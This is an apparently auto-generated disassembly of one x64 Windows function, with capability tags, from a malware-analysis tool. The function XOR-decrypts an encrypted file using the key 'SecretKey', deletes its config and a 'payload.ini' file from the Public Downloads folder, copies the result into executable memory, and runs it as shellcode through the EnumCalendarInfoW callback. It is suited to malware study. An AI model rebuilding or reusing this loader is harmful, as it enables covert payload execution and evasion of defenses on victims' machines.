Function at 0x140001570
Capabilities:
Allocate or change rwx memory
Delete file
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rbp + 0x218], rax
xor r12d, r12d
mov dword [rsp + 0x30], r12d
call fcn.140001290
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
lea ecx, [r12 + 0x30]
call fcn.140003f88
mov rdx, rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e0], 0x25
mov qword [rbp + 0x1e8], 0x2f
movups xmm0, xmmword [0x1400065d0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400065e0]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400065f0]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x1400065f4]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], r12b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov esi, 1
mov r8d, esi
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x60]
call fcn.140001ea0
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400016b9
lea rdx, str.open_config_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032b0
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.1400039c0
mov rcx, rax
lea rdx, [0x140003480]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001ce9
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x60]
call fcn.140003b80
lea rcx, [rbp + 0x70]
call fcn.1400030b0
test rax, rax
jne 0x140001731
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rbx, qword [rbp + 0x170]
lea rax, [0x1400067e0]
mov qword [rsp + 0x50], rax
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rdi
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x60], rax
mov byte [rbp - 0x24], 0
mov byte [rbp - 0x2f], 0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x20], r12
mov rax, qword [0x1400268b0]
mov qword [rbp - 0x2c], rax
mov qword [rbp - 0x38], r12
mov r8d, 0x21
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140003170
test rax, rax
jne 0x140001828
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], rdi
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400018b2
lea rdx, str.open_encrypted_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032b0
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
mov rcx, rax
call fcn.1400039c0
mov rcx, rax
lea rdx, [0x140003480]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001c81
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rsi, qword [rax + 8]
add rsi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
mov r14, r12
mov qword [rbp + 0x200], r12
test rsi, rsi
je 0x14000197f
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140001d6f
cmp rsi, 0x1000
jb 0x140001949
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x140001d69
call fcn.140003f88
test rax, rax
je 0x140001c6e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001954
mov rcx, rsi
call fcn.140003f88
mov rdi, rax
mov qword [rbp + 0x1f0], rdi
lea r14, [rdi + rsi]
mov qword [rbp + 0x200], r14
mov r8, rsi
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov rbx, r14
mov qword [rbp + 0x1f8], rbx
jmp 0x14000198d
mov rbx, qword [rbp + 0x1f8]
mov rdi, qword [rbp + 0x1f0]
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
test rax, rax
jne 0x1400019cb
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsd xmm0, qword [str.SecretKey]
movsd qword [rbp + 0x208], xmm0
movzx eax, word [0x140006640]
mov word [rbp + 0x210], ax
mov r9, r12
test rsi, rsi
je 0x140001a28
movabs r8, 0xe38e38e38e38e38f
nop dword [rax + rax]
mov rax, r8
mul r9
shr rdx, 3
lea rax, [rdx + rdx*8]
mov rcx, r9
sub rcx, rax
movzx eax, byte [rbp + rcx + 0x208]
xor byte [r9 + rdi], al
inc r9
cmp r9, rsi
jb 0x140001a00
mov rcx, rsi
call fcn.140003fc4
mov r15, rax
sub rbx, rdi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rdx, [0x140006650]
lea rcx, [rbp + 0x1b0]
call fcn.140002c60
nop
lea rdx, str.C:UsersPublicDownloadspayload.ini
lea rcx, [rbp + 0x190]
call fcn.140002c60
nop
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 8
cmovae rcx, qword [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140001acf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400034c0
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 8
cmovae rdx, qword [rbp + 0x1b0]
mov r8, qword [rbp + 0x1c0]
mov rcx, rax
call fcn.140003d20
mov rcx, rax
lea rdx, [0x140003690]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 8
cmovae rcx, qword [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140001b32
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400034c0
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 8
cmovae rdx, qword [rbp + 0x190]
mov r8, qword [rbp + 0x1a0]
mov rcx, rax
call fcn.140003d20
mov rcx, rax
lea rdx, [0x140003690]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, r15
call fcn.140003f80
mov esi, r12d
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 8
jb 0x140001bc8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f80
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], 7
mov word [rbp + 0x190], r12w
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 8
jb 0x140001c2b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f80
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 7
mov word [rbp + 0x1b0], r12w
test rdi, rdi
je 0x140001c81
sub r14, rdi
mov rax, rdi
cmp r14, 0x1000
jb 0x140001c75
add r14, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, rdi
call fcn.140003f80
nop
lea rcx, [rsp + 0x50]
call fcn.140001d80
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x140001cd0
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ccb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f80
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
lea rcx, [rbp + 0x60]
call fcn.140001d80
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140001d37
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f80
mov eax, esi
mov rcx, qword [rbp + 0x218]
xor rcx, rsp
call fcn.140003f60
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001110
nop
call fcn.1400039a0
int3